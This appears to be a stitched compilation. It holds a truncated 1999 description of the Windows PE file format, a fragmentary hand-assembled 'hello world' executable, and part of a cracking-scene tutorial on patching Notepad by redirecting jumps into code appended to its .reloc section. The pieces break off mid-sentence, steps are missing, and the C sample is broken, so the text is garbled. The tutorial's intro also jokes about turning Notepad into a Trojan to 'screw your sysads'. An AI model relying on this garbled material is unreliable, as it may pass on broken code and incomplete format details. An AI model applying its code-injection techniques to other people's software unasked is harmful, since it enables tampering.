MAJOR VERSION - MINOR VERSION
NAME RVA
IMPORT LOOKUP TABLE RVA
IMPORT ADDRESS TABLE RVA
as opposed to the structure used elsewhere:
OriginalFirstThunk
TimeDateStamp
ForwarderChain
Name
FirstThunk
The last tweak about the import directories is the so-called "new style"
binding (it is described in [3]), which can also be done with the
"bind"-utility. When this is used, the 'TimeDateStamp' is set to
all-bits-1 and there is no forwarderchain; all imported symbols get their
address patched, whether they are forwarded or not. Still, you need to
know the DLLs' version, and you need to distinguish forwarded symbols
from ordinary ones. For this purpose, the
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT directory is created. This will, as
far as I could find out, *not* be in a section but in the header, after
the section headers and before the first section. (Hey, I didn't invent
this, I'm only describing it!)
This directory tells you, for each used DLL, from which other DLLs there
are forwarded exports.
The structure is an IMAGE_BOUND_IMPORT_DESCRIPTOR, comprising (in this
order):
A 32-bit number, giving you the 'TimeDateStamp' of the DLL;
a 16-bit-number 'OffsetModuleName', being the offset from the beginning
of the directory to the 0-terminated name of the DLL;
a 16-bit-number 'NumberOfModuleForwarderRefs' giving you the number of
DLLs that this DLL uses for its forwarders.
Sorry for the inconvenience, but that's what it looks like :-)
Now, if you have a new-bound import directory, you load all the DLLs,
use the directory pointer IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT to find the
IMAGE_BOUND_IMPORT_DESCRIPTOR, scan through it and check if the
'TimeDateStamp's of the loaded DLLs match the ones given in this
directory. If not, fix them in the 'FirstThunk'-array of the import
directory.
resources
---------
The resources, such as dialog boxes, menus, icons and so on, are stored
in the data directory pointed to by IMAGE_DIRECTORY_ENTRY_RESOURCE. It
is in a section that has, at least, the bits
'IMAGE_SCN_CNT_INITIALIZED_DATA' and 'IMAGE_SCN_MEM_READ' set.
In real life, the situation is somewhat relaxed. Normally you won't find
convoluted trees you can't possibly sort out.
The hierarchy is, normally, like this: one directory is the root. It
points to directories, one for each resource type. These directories
point to subdirectories, each of which will have a name or an ID and
point to a directory of the languages provided for this resource; for
each language you will find one resource entry, which will finally point
to the data. (Note that multi-language-resources don't work on
Win95, which always uses the same resource if it is available in several
languages - I didn't check which one, but I guess it's the first it
encounters. They do work on NT.)
The tree, without the pointer to the data, may look like this:
(root)
|
+----------------+------------------+
| | |
menu dialog icon
| | |
+-----+-----+ +-+----+ +-+----+----+
| | | | | | |
"main" "popup" 0x10 "maindlg" 0x100 0x110 0x120
| | | | | | |
+---+-+ | | | | | |
| | default english default def. def. def.
german english
A IMAGE_RESOURCE_DIRECTORY comprises:
32 bits of unused flags called 'Characteristics';
32 bits 'TimeDateStamp' (again in the common time_t representation),
giving you the time the resource was created (if the entry is set);
16 bits 'MajorVersion' and 16 bits 'MinorVersion', thusly allowing you
to maintain several versions of the resource;
16 bits 'NumberOfNamedEntries' and another 16 bits 'NumberOfIdEntries'.
The meaning of the id depends on the level in the tree; the id may be a
number (if the hi-bit is clear) or a name (if the hi-bit is set). If it
is a name, the lower 31 bits are the offset from the beginning of the
resource section's raw data to the name (the name consists of 16 bits
length and trailing wide characters, in unicode, not 0-terminated).
7: font directory
8: font
9: accelerators
10: unformatted resource data
11: message table
12: group cursor
14: group icon
16: version information
Any other number is user-defined. Any resource-type with a type-name is
always user-defined.
If you are one level deeper, the id is the resource-id (or resource-
name).
If you are another level deeper, the id must be a number, and it is the
language-id of the specific instance of the resource; for example, you
can have the same dialog in australian english, canadian french and
swiss german localized forms, and they all share the same resource-id.
The system will choose the dialog to load based on the thread's locale,
which in turn will usually reflect the user's "regional setting".
(If the resource cannot be found for the thread locale, the system will
first try to find a resource for the locale using a neutral sublanguage,
e.g. it will look for standard french instead of the user's canadian
french; if it still can't be found, the instance with the smallest
language id will be used. As noted, all this works only on NT.)
To decipher the language id, split it into the primary language id and
the sublanguage id using the macros PRIMARYLANGID() and SUBLANGID(),
giving you the bits 0 to 9 or 10 to 15, respectivly. The values are
defined in the file "winresrc.h".
Language-resources are only supported for accelerators, dialogs, menus,
rcdata or stringtables; other resource-types should be
LANG_NEUTRAL/SUBLANG_NEUTRAL.
To find out whether the next level below a resource directory is another
directory, you inspect the hi-bit of the offset. If it is set, the
remaining 31 bits are the offset from the beginning of the resource
section's raw data to the next directory, again in the format
IMAGE_RESOURCE_DIRECTORY with trailing IMAGE_RESOURCE_DIRECTORY_ENTRYs.
If the bit is clear, the offset is the distance from the beginning of
the resource section's raw data to the resource's raw data description,
a IMAGE_RESOURCE_DATA_ENTRY. It consists of 32 bits 'OffsetToData' (the
offset to the raw data, counting from the beginning of the resource
section's raw data), 32 bits of 'Size' of the data, 32 bits 'CodePage'
and 32 unused bits.
(The use of codepages is discouraged, you should use the 'language'-
feature to support multiple locales.)
The raw data format depends on the resource type; descriptions can be
found in the MS SDK documentation. Note that any string in resources is
always in UNICODE except for user defined resources, which are in the
format the developer chooses, obviously.
relocations
-----------
The last data directory I will describe is the base relocation
directory. It is pointed to by the IMAGE_DIRECTORY_ENTRY_BASERELOC entry
in the data directories of the optional header. It is typically
contained in a section if its own, with a name like ".reloc" and the
Acknowledgments
---------------
Thanks go to David Binette for his debugging and proof-reading.
(The remaining errors are entirely mine.)
Also thanks to wotsit.org for letting me put the file on their site.
Copyright
---------
This text is copyright 1999 by B. Luevelsmeyer. It is freeware, and you
may use it for any purpose but on your own risk. It contains errors and
it is incomplete. You have been warned.
Bug reports
-----------
Send any bug reports (or other comments) to
bernd.luevelsmeyer@iplan.heitec.net
Versions
--------
You find the date of the current release at the top of the file.
1998-04-06
First public release
1998-07-29
Changed wrong "byte" to "word" for image version and subsystem version
Corrected error "stack is limited to 1 MB" (in fact it is not limited)
Corrected some typos
1999-03-15
Corrected export directory description, which was very incomplete
Reworded import directory description, which had been unclear
Corrected typos and did some rewording in other sections
Literature
----------
[1]
"Peering Inside the PE: A Tour of the Win32 Portable Executable File
Format" (M. Pietrek), in: Microsoft Systems Journal 3/1994
[2]
"Why to Use _declspec(dllimport) & _declspec(dllexport) In Code", MS
Knowledge Base Q132044
[3]
"Windows Q&A" (M. Pietrek), in: Microsoft Systems Journal 8/1995
[4]
"Writing Multiple-Language Resources", MS Knowledge Base Q89866
[5]
"The Portable Executable File Format from Top to Bottom" (Randy Kath),
in: Microsoft Developer Network
[6]
Tool Interface Standard (TIS) Formats Specification for Windows Version
1.0 (Intel Order Number 241597, Intel Corporation 1993)
#include <stdio.h>
int main(void)
{
puts(hello,world);
return 0;
}
void startup(void)
{
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE),hello,sizeof(hello)-1,&written,0);
return;
}
hello:
68 65 6C 6C 6F 2C 20 77 6F 72 6C 64 0A "hello, world\n"
_written:
00 00 00 00
That was the compiler part. Anyone can do that. From now on we play
linker, which is much more interesting :-)
Now I can start to make the executable. Question marks will take the
place of yet-to-find-out values; they will be patched afterwards.
First the DOS-stub, starting at 0x0 and being 0x40 bytes long:
00 | 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
20 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30 | 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00
As you can see, this isn't really a MS-DOS program. It's just the header
with the signature "MZ" at the beginning and the e_lfanew pointing
immediatly after the header, without any code. That's because it isn't
intended to run on MS-DOS; it's just here because the specification
requires it.
Then the PE signature, starting at 0x40 and being 0x4 bytes long:
50 45 00 00
Now the file-header, which will start at byte 0x44 and is 0x14 bytes long:
Machine 4c 01 ; i386
NumberOfSections 02 00 ; code and data
TimeDateStamp 00 00 00 00 ; who cares?
PointerToSymbolTable 00 00 00 00 ; unused
NumberOfSymbols 00 00 00 00 ; unused
SizeOfOptionalHeader e0 00 ; constant
Characteristics 02 01 ; executable on 32-bit-machine
And the optional header, which will start at byte 0x58 and is 0x60 bytes long:
Magic 0b 01 ; constant
MajorLinkerVersion 00 ; I'm version 0.0 :-)
MinorLinkerVersion 00 ;
As you can see, I plan to have only 2 sections, one for code and one for
all the rest (data, constants and import directory). There will be no
relocations and no other stuff like resources. Also I won't have a BSS
segment and stuff the variable 'written' into the initialized data.
The section alignment is the same in the file and in RAM (32 bytes);
this helps to keep the task easy, otherwise I'd have to calculate RVAs
back and forth too much.
Now we set up the data directories, beginning at byte 0xb8 and being 0x80 bytes long:
Address Size
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_EXPORT (0)
?? ?? ?? ?? ?? ?? ?? ?? ; IMAGE_DIRECTORY_ENTRY_IMPORT (1)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_RESOURCE (2)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_EXCEPTION (3)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_SECURITY (4)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_BASERELOC (5)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_DEBUG (6)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_COPYRIGHT (7)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_GLOBALPTR (8)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_TLS (9)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG (10)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (11)
00 00 00 00 00 00 00 00 ; IMAGE_DIRECTORY_ENTRY_IAT (12)
00 00 00 00 00 00 00 00 ; 13
00 00 00 00 00 00 00 00 ; 14
00 00 00 00 00 00 00 00 ; 15
Only the import directory is in use.
Next are the section headers. First we make the code section, which will
contain the above mentioned assembly. It is 32 bytes long, and so will
be the code section. The header begins at 0x138 and is 0x28 bytes long:
Name 2e 63 6f 64 65 00 00 00 ; ".code"
VirtualSize 00 00 00 00 ; unused
VirtualAddress ?? ?? ?? ?? ; yet to find out
SizeOfRawData 20 00 00 00 ; size of code
PointerToRawData ?? ?? ?? ?? ; yet to find out
PointerToRelocations 00 00 00 00 ; unused
PointerToLinenumbers 00 00 00 00 ; unused
NumberOfRelocations 00 00 ; unused
NumberOfLinenumbers 00 00 ; unused
Characteristics 20 00 00 60 ; code, executable, readable
The second section will contain the data. The header begins at 0x160 and
is 0x28 bytes long:
Name 2e 64 61 74 61 00 00 00 ; ".data"
VirtualSize 00 00 00 00 ; unused
VirtualAddress ?? ?? ?? ?? ; yet to find out
SizeOfRawData ?? ?? ?? ?? ; yet to find out
PointerToRawData ?? ?? ?? ?? ; yet to find out
PointerToRelocations 00 00 00 00 ; unused
PointerToLinenumbers 00 00 00 00 ; unused
NumberOfRelocations 00 00 ; unused
NumberOfLinenumbers 00 00 ; unused
Characteristics 40 00 00 c0 ; initialized, readable, writeable
The next byte is 0x188, but the sections need to be aligned to 32 bytes
(because I chose so), so we need padding bytes up to 0x1a0:
00 00 00 00 00 00 ; padding
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
Now the first section, being the code section with the above mentioned
assembly, *does* come. It begins at byte 0x1a0 and is 0x20 bytes long:
6A 00 ; push 0x00000000
68 ?? ?? ?? ?? ; push offset _written
6A 0D ; push 0x0000000d
68 ?? ?? ?? ?? ; push offset hello_string
6A F5 ; push 0xfffffff5
2E FF 15 ?? ?? ?? ?? ; call dword ptr cs:__imp__GetStdHandle@4
50 ; push eax
2E FF 15 ?? ?? ?? ?? ; call dword ptr cs:__imp__WriteConsoleA@20
C3 ; ret
68 65 6C 6C 6F 2C 20 77 6F 72 6C 64 0A ; "hello, world\n"
00 00 00 ; padding to align _written
00 00 00 00 ; _written
Now all that's left is the import directory. It will import 2 functions
from "kernel32.dll", and it's immediatly following the variables in the
same section. First we will align it to 32 bytes:
00 00 00 00 00 00 00 00 00 00 00 00 ; padding
ForwarderChain ff ff ff ff ; no forwarders
Name ?? ?? ?? ?? ; yet to find out
FirstThunk ?? ?? ?? ?? ; yet to find out
Now there's the DLL name left, and the 2 thunks, and the thunk-data, and
the function names. But we will be finished real soon now!
The first thunk is exactly the same list and starts at 0x224:
(__imp__WriteConsoleA@20, at 0x224)
AddressOfData ?? ?? ?? ?? ; RVA to function name "WriteConsoleA"
(__imp__GetStdHandle@4, at 0x228)
AddressOfData ?? ?? ?? ?? ; RVA to function name "GetStdHandle"
00 00 00 00 ; terminator
Ok, that's about all. The next byte, which we don't really need, is
0x24f. We need to fill the section with padding up to 0x260:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; padding
00
------------
We are done. Now that we know all the byte-offsets, we can apply fixups
to all those addresses and sizes that were indicated as "unknown" with
'??'-marks.
I won't force you to read that step-by-step (it's quite
straightforward), and simply present the result:
------------
Name 2e 63 6f 64 65 00 00 00 ; ".code"
VirtualSize 00 00 00 00 ; unused
VirtualAddress a0 01 00 00 ; RVA to code section
SizeOfRawData 20 00 00 00 ; size of code
PointerToRawData a0 01 00 00 ; file offset to code section
PointerToRelocations 00 00 00 00 ; unused
PointerToLinenumbers 00 00 00 00 ; unused
NumberOfRelocations 00 00 ; unused
NumberOfLinenumbers 00 00 ; unused
Characteristics 20 00 00 60 ; code, executable, readable
(padding)
00 00 00 00 00 00 ; padding
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
--------------
Alas, this works on NT but didn't on windows 95. windows95 can't run
applications with a section alignment of 32 bytes, it needs an
alignment of 4 KB and, apparently, a file alignment of 512 bytes. So for
windows95 you'll have to insert a large number of 0-bytes (for padding)
and adjust the RVAs. Thanks go to D. Binette for testing on windows95.
-- end of text --
laters,
nN.
What should I say? A great essay about "real" software reversing: functionality adding, playing with targets, "deviating" alien
code (and therefore individuating buffers and exploiting the "overbloatessness" of windoze's targets), menu juggling, API
function adding, new functions... name a reverser's fancy activity and our fine Author has already done it inside this very essay
you are about to read...
It's a beautiful example of a classical "corporate target" reversing (nothing more classic than Notepad: you'll find it on
whatever PC you'll be working on... and with the help of NeuRaL_NoiSE's teachings you'll now be able to transform it in your
preferred Trojan horse, eheh: screw your sysads... Enjoy!
REVISION 1
By -NeuRaL_NoiSE
" Hiho!
I already published a tutorial about Hnotepad creation, but as you may have noticed
this last
tute only pointed to Windows 95 compatibility, no Win98, and above all you should
have noticed
that code generation was strictly related to the machine where you were assembling
it. I myself
was suggesting to work on it, but in the end i finished it, making the code more
portable and
stable...so here i'll describe you how, with a few additions/side changes, your code
will work
under both 95 and 98.
Another improvement from last tute is in the fact that after you've made the changes
i describe
in the last phase of this document your Notepad will read files much bigger than the
usual FFFF
bytes (special thanks to GEnius for his GENIAL idea :), but mind, i say you will be
able to READ
them, not WRITE on them -- do u remember that insufficient mem nag ? I thought i'd
leave it
there, it might be useful to have a nag that reminds you when your page is exceeding
50/60 Kb...
Nonetheless i might change that as well in some next version, who knows - hnotepad is
a pretty
open project, and it's amazing the number of friends that are asking me to improve it
and add
functions :)
___________________________
As i said, this tutorial wishes to introduce intermediate (this won'be for COMPLETE
newbies)
crackers to the world of reverse engineering, in its (imho) most interesting aspect:
ADDITION
OF FUNCTIONS IN AN ALIEN TARGET. That's it, really simple...you'll discover (if u
didn't know
it yet) that it's not such a monster to add your new stuff to targets.
I'll try to explain things in the easiest and most extensive way i can, tho i warn
you about
three things: first, you *MUST* have a (at least) basic knowledge of w32 assembly
language and, in
general, of cracking (furthermore, i STRONGLY suggest reading something about pe
headers and
Windows executable files structure as it'll help alot).
Second, my english sucks so please consider that it is a great effort for me to
translate this
whole (damn LONG:) tute -- italian version at http://ringzer0.cjb.net .
Third, READ THIS TUTORIAL *WITHOUT* THE WORDWRAPPING, OR YOU WON'T UNDERSTAND MUCH :)
__________________________
* We'll add a menu to Notepad, that will open our new .hlp file
* We'll create the about box (as for now there isn't a REAL about box, but u'll
understand
later)
* We'll find the way to add "HTML Files" (both *.htm and *.html), "JS Files" and "VBS
Files" to
the masks (*.xyz) in the "Open file" and "Save as" dialogs
* We'll add a nice .INI file, where we'll save the status of the WordWrapping option
and the
name of the last file opened. When restarting hnotepad, wrapping will be put in the
position
(ON/OFF) indicated in the file, and the last file will be automatically reopened if
we
launched hnotepad without command line. Furthermore, this .INI file will be
automatically
created every time we'll quit the program, so there'll be no problem related to
modifying/damaging it.
* We'll eliminate the size limit of the opened file. In order to do this, we'll need
an API
function which is not imported with original notepad, tho we won't touch the import
table.
Rather, we'll use a piece of memory scanning code, which, as you'll see if you
continue
reading, will probably be REALLY useful for you reversers out there who have not
yet noticed
this interesting alternative to GetProcAddress.
_________________________________
So....first of all let's try to understand WHAT we will do to our target: we have to
ADD a menu
to those already existing in the program....but let's keep in mind that during the
session
we'll surely have to add parts of OUR own code to the file....in the case of the
menu, we'll
have to add that part of the window procedure that analizes the selected menu IDs
relative to
our new menu. So we'll first of all take a look at how our target behaves when it has
to
analize menu IDs (as you know every item, from menus to buttons on dialog boxes and
so on, have
an ID that is needed to allow the program to distinguish among various resource
items)....we
could climb back to window procedure using the API RegisterClass as hook but we'll
follow
another route, a quicker one....we'll get right to the point that interests us. We
said that we
want to add a menu....so we will start looking at HOW the program behaves when you
select a
menu: the API we'll break on will be WinHelpA (which runs the file winhelp.exe under
\windows,
that is needed to open any .HLP file, of course if in windows help format). In
SoftICE, then,
"BPX WinHelpA".
Then go to notepad, and select menu "Help", then the item "Help topics".
Sice will break on WinHelpA: F12 and u'll be at the caller, which is here:
Good...DefWindowProcA indicates the part of the window procedure where the messages
are
processed by default (ie when you don't process a certain message, this msg won't
just "fall
somewhere" but will be "catched" anyway by DefWindowProcA which will process it
accordingly).
This means that the menu value passes for (and is checked by) that call at 1E58 (it's
parameter
2/3, the one in EDI) where we are coming back from.
Let's see what's inside the call:
So we have the menu ID (you can check all values with BRW, under "MENU") in esi, then
a check
if esi>20h. 20h is 32 dec, so we know that the IDs with value < than 32 will be
processed by a
variable jump, which will change from situation to situation, and will point every
time to the
appropriated part of code (the jmp at 11B3). So, if we don't want to mess up, we'll
better give
our menu an ID value > than 32, so that we will be able to process it following the
jg at 119E,
which brings here:
and so on with the other checks. So we found a good point to insert a deviation to
OUR code,
which will process FIRST the ID value relative to the new menu. But first we'll have
to CREATE
this menu, don't you think ? :)
In order to do so, open notepad.exe in BRW and, under "menu" section, and under
"Help" menu,
add a new item, I called it "Anub|s+Insa's Help on HTML". Give it the id value 33
(21h), that
is useful because as we said with an id value bigger than 20h the part of the code
which will
process the id will be the one after the jg, not the one reached after the variable
jump. Any
value higher than 32 will do just fine (of course it must not be related to any other
item).
Now, in the "KEY" section, add "VK_F1", which will make THIS menu pop up when we
press F1 (and
not the old Notepad's one). Don't forget to delete the same key from old notepad's
menu.
Save, and like some kinda magic when you next start notepad you'll have this new menu
under
"Help", which will have as you know an id value of 21h.
So now we must solve the problem of the addition of our code to the file. How can we
do this??
Well we must check a thing or two first. If you open the file with HIEW, with
ProcDump or with
god only knows how many other programs, u'll have all the infos you need to add you
own code. Of
course, as you know, we can't occupy MORE bytes than the ones we have in the actual
code (which
resides in .TEXT section), so we are compelled to APPEND our code to the end of the
file, so that
afterwards we will be able to redirect jumps from PE .TEXT section to the section
where we added
the code, which is the one we'll see in a few. Usually when you want to add your own
code, the
last section will be just fine for the trick. BUT, in notepad case, we already added
a new menu,
and this addition has brought to the extention of the .RSRC (resource) section in the
pe
header...so BRW has appended this section at the end of the file in order to not
overwrite the
bytes of the following section (in other words, it has done something similar to what
we want to
do:)...you can easily check it by entering HIEW, pressing F8 (from hex or disasm
mode) to see the
header-related infoes, then F6 for the sections. So i was saying, the pe (and the
file) has now
been modified by BRW, but we must keep in mind that "natively" notepad.exe ended with
the .RELOC
section, where we could actually find therefore some free space for our code, and
which, for this
reason, is the one where we'll go and add our code (at least for the first part of
it, because
we'll soon be out of space and we'll have to continue within .RSRC). The first thing
to do is
checking the physical space (i'm talking about BYTES) we have for our code: so we
check the
Virtual Size (VirtSize = 91Eh) and the Physical one (PhysSize = A00h); the virtsize
shows us the
number of bytes that we can't modify, in other words the ones already used by the
program, while
the physsize shows us the raw size of the section: a simple subtraction A00h-91Eh
will give us
E2h (226 dec.) free bytes , in which we will be able to add our code. We won't need
to enlarge
the section, because we have all the space we need; if you had to enlarge it, BEFORE
creating the
menu with BRW, you would have loaded the file with ProcDump, edited the section, and
increased
the physical/virtual size to whatever you needed, aligning it to the FileAlignment,
plus the size
of image, aligning it to the section alignment....
Good! But we still have a problem...how can we know at WHICH OFFSET we should add our
code ? Easy,
we must look at the section's intial offset: we know that it's 5000h, so
Initial_Offset+VirtSize =
5000h+91Eh = 591Eh, our entrypoint for code addition. Why did i use the PHYSICAL
offset and the
VIRTUALY size ?? Think of it this way: the raw data (psize, offset) is relative to
the dead file on
your hard disk...while the virtual data (vsize, RVA) is relative to the mapped file,
the one that
you get when windows loader maps it in the linear address space. So, adding code in
memory would
rely on the RVA, but we need to add it on the dead file...hence we need the RAW
offset...yet we HAVE
to use the VIRTUAL size, since that'll be the amount of bytes actually taken by our
section once
mapped in memory!
Yet we have ANOTHER problem....WHICH code should we add ? :))
First of all, let's draw a scheme of the operations we want our code to perform. To
make the
code jump from .TEXT section (where we have that call that processes the ID values)
to the
.RELOC one (where our code will be), we'll necessarily need to turn some instruction
to a
jmp....we'll modify the CMP at 11BA: so we have to find a way to turn that cmp to a
jump TO
ANOTHER SECTION: this could have caused problems to a cracker once, because one poor
guy who
wanted to add his code to targets was usually compelled to use a compiler in order to
generate
valid opcodes to add to the existing code, and this implied wasting time with first
section and
last one's RVA subtractions and so on...then, one nice day SoftICE appeared into our
pc's,
along with his "A" function (Assemble instruction) :))))))))
Thanks to this great tool, we can assemble the instructions at runtime, time by time,
and
obtain thus the valid opcodes with which we'll physically patch the target
afterwards. In order
to see the bytes beside every code line in SoftICE, insert "CODE ON" either at
command prompt
or in your winice init string. The opcodes will be universal for PUSHes, CMP's and so
on, so
for THIS kind of instructions we can use HIEW directly, but for long JUMPS we'll need
SoftICE,
because the distance between the starting offset and the destination one isn't easily
obtainable
with HIEW when it comes to long jumps.
Ok for the jumps then, but what about the CALLS ?? Simple...a call to an API function
(thing that
we'll use) is nothing more than a call to a dword pointer, that resides in the so
called FirstThunk
array of the Import Table (usually in section .IDATA (imported data): every single
API function name
used by our program is usually included in this section at compiling time, and when
the loader maps
the file, it retrieves the addresses of the imported functions and patches the dword
pointers in the
FirstThunk array...these pointers, thus, head towards kernel32, or user32, or
whatever other dll,
and specifically to a determined function's entrypoint. In order to use it from our
code we'll have
to use CALL [DWORD_PTR_TO_THE_API]. To discover which dword pointer we'll have to
call in order to
invoke a certain API, we'll use W32Dasm. Every single API call will correspond to a
CALL DWORD PTR [xyz]
(you can look that up really easily by making a search inside the disasm): everytime
u'll need
that API you'll call that IAT (import address table, aka FirstThunk array) pointer
from hiew, nothing
more nothing less.
This semplifies our job ALOT, but you may be asking one thing now...HOW do we know,
from
SoftICE, WHERE (to which offset) we should jump to from section .TEXT to reach our
code ?? We
can't find the location with W32Dasm because the disassembled part only concerns
.TEXT section,
not .RELOC (where our code will be)...the solution resides in HIEW (or better yet,
use IDA;):
open notepad.exe with hiew: switch to HEX or DISASM mode, then press ALT+F1 until you
have
selected LOCAL in the way hiew will display offsets. You'll notice that, if you had
"global"
before, now there'll be a difference in the way the offsets are showed: indeed, not
offsets
anymore, but complete VA's (Virtual Addresses, = RVA+Image Base of the location),
which are
everything we have to know in order to assemble a valid jump in softice. So we'll
just assemble
a "JMP VA_of_our_new_code", and sice will give us the correct opcodes. Only for short
jumps
(within a certain code range, or for those with 2 opcodes and so on) we don't need
sice, but
we can insert the offset directly in HIEW, because the jump won't exit from a short
code range,
and HIEW is still ok for opcode generation. So from now on, when you see some
asterisks (*******)
beside the instruction, it means that it has been assembled with softice, and that i
patched the
file with the bytes that it gave me back.
Another problem...we said that we have to make the program open a new file with this
menu,
which will be Anub|s and Insanity's file on HTML programming...this file will surely
have a
name (something.hlp), even if i don't know yet (but nor do them i believe :))),
anyway we'll
use a demonstrative name here, and it'll be HNOTEPAD.HLP. So i was saying, we have to
make the
code recognize the name "HNOTEPAD.HLP" as well, but of course this name isn't present
anywhere in
the code...so we'll have to add it to our target's STRINGTABLE. The stringtable is
nothing more
than the place where we can find all the strings among the resources of the program.
We could
turn some old string into our new "HNOTEPAD.HLP", or we could append it (the 'raw'
way;) to the
code of our target (thing that we'll do later in this tutorial, and that is useful
when you can't
gain access to a program's resources), but considered that we have access to the
resources, we'll
ADD it to the stringtable and we'll treat it just as any other string already
existing. So the
first step is, in BRW, to select the LAST stringtable (# 48), press the right mouse
button and
EDIT IT AS TEXT (be careful not to edit it only, or you won't be able to add items to
the table).
Once you are in the table, just add this line at the end:
58, "hnotepad.hlp"
Save the file, and you're done! Now we have a brand new string, that we'll be able to
use from
the code at our will...do you start to see the HUGE possibilities that appear before
us?? :)
So...now you have to know (if you didn't know it already:) that strings are loaded
from the
stringtable with the LoadStringA function, whose prototype is:
int LoadString(
Hmmm....the problem here is the buffer....how do we know which buffer we should use
for our new
string? Well, we just need a little experience with the program i'd say....start
setting
breakpoints, and you'll pretty soon find a buffer good for our new resource. You have
two
choices:
1 - finding a buffer which is loaded ONLY ONCE (at program execution): in this case
you'll have
to use LoadStringA one more time, like some sorta PUSH and POP with the buffer.
2 - finding a buffer that is loaded EVERY TIME the program needs the string which is
supposed
to fill that buffer....in this case, you won't have to worry about replacing the new
string
with the old one once u're done with it, because it will be the program itself to do
the job
for you. This last one is definately the best choice, as it avoids us coding bigger
routines.
So, let's take a look around us..let's take the messagebox that says "This file is
too large
for Notepad to open...wanna use Wordpad??"...if u choose "yes", you'll notice a
LoadStringA
that loads the variable "wordpad.exe" into a buffer, which is needed to run the
program
(wordpad)...here's the disasm (keep in mind that the values are pushed on the stack
in reverse
order):
Excellent! We found our buffer...write down that memory address, and REMEMBER it, as
we'll use it
as a "multi-purpose" variable during our session: 63F8C4h...even if we'll
overwrite it with our new string "hnotepad.hlp", the buffer will be replaced with the
old string
whenever the program tries to run wordpad. Notice that we can, following this method,
find out
the "unvariable" informations of a call as well, in this case the handle to the
module
containing the stringtable (the "dword ptr [405170]" pushed at 2D8A, which contains
the value
400000h, that will be our handle) (a simple GetModuleHandleA with a NULL param would
have the same
effect, and anyhow, 99% of the times the hModule value is 400000h for exe's..since we
have no address
clash when mapping the file...why ? because windows loader creates a per-process area
for every
process, as opposed to the shared area... hence, every process will be mapped at that
imagebase,
except in 2 cases (always talking about exe's, not dll's, remember): one, the file is
remapped on
purpose, or two, there's a MAJOR resource leak in the system, and windows loader
decides it has not
enough mem to page a new per-process area, and simply maps the new process in an
existing memory
context, just at a different base...)...
We could push 400000h directly when we needed, but we'll always use this pointer
(remember that
when you modify already compiled targets it's safe, above all for those who haven't
got much
experience, to verify data twice, and generally to use AS OFTEN AS POSSIBLE pointers
and not
immediate values), yet we'll use the immediate value later, for reasons that you will
understand.
Now we know how to obtain the string "hnotepad.hlp" in our code, and where we'll find
it when we
need it, but yet we miss the final detail....HOW do we call the WinHelpA function?
Once again
our API reference helps us:
BOOL WinHelp(
Well, this is simple...once again we'll see how things really work by looking at
practical
examples of the function in the code: so, a BPX WinHelpA in softice will help us
examine the
code when we choose "Help"/"Help Topics"...
there u go:
|
:0040122C FF154C744000 Call dword ptr [0040744C] ; CALLS WINHELPA
You may be wondering how did i know that 0Bh is equal to HELP_FINDER parameter. I
suggest you
download Masm/Tasm and take a look at the file "windows.inc" (or "win32.inc"). It
contains all
the equates you will need when you want to associate a literal param to a hex number
(literal
params are just equates to numbers, so when you code your own .ASM program you can
either push
the number or the literal parameter, it just makes no difference. But when it comes
to patching
a compiled target you HAVE to know the numeric value, or you will never know what to
push).
Good....now we know that the handle (which was the thing that we wanted to know the
most) will
be found, when needed, at the address where dword ptr [406000] points to...
One last word about this function: our API reference informs us that we'll have to
call
WinHelpA with parameter HELP_QUIT (= 02) when we close the program, but we won't have
to worry
about it in our case because notepad automatically does the job for us at closing
time.
Great! Now we have all the infoes we need to dive into the bytes and add code to our
target!
First of all, we'll change the CMP at 4011BA (@offset 5BAh) into a "JMP 40891E"
was:
and becomes:
:004011BA E95F770000 ************ jmp 0040891E ; -> TOWARDS OUR NEW CODE
:004011BF 90 nop
:004011C0 90 nop
So we turned a CMP and a JL into a JMP and 2 NOPs. The nops are needed to fill the
bytes of the
jl that is useless now (we could even keep those bytes, but it's a matter of
clearness...u'll
find it easier to organize in this way), because we will move the whole check to the
.RELOC
section. One last note before adding our code. We have to keep in mind that when we
execute our
operations the stack and the registers must be kept intact, in other words we don't
have to leave
any "i-was-here" track, if u get what i mean :)
We can easily do that by saving all the registers and restoring them in the end with
PUSHAD and
POPAD. Here's the code we'll add with HIEW at offset 591Eh (F3 then F2 to insert an
asm
instruction...when you find the asterisks it means that you have to exit from F2 mode
and write
the bytes manually, as they have been generated by SoftICE (the bytes are in the
"OPCODES:"
part in the comments), while when you find API calls you can read the address of the
dword ptr to
call within CALL D,[40xxxx]):
SIDENOTE: IN HIEW, IF YOU WANT TO WRITE "DWORD PTR [xyz]", USE "D,[xyz]", IF YOU WANT
TO WRITE
"BYTE PTR" USE "B" AND SO ON...GENERALLY, REFER TO OTHER INSTRUCTIONS TO FIND OUT THE
WAY YOU
MUST TYPE IN YOURS.
591Eh: cmp eax, 21 ; eax holds current item's ID. 21h = ID of our new menu
("Anub|s+Insa..")
jz 5933 ; if you clicked there, process it. 2-opcodes jump, so HIEW is
OK
cmp eax,300 ; THESE ARE THE 2 CODE LINES THAT WE REPLACED WITH THE JMP IN
.TEXT
****** jl 4011E2 ; SECTION...WE RESTORE THEM HERE! ...OPCODES: 0F8CB488FFFF
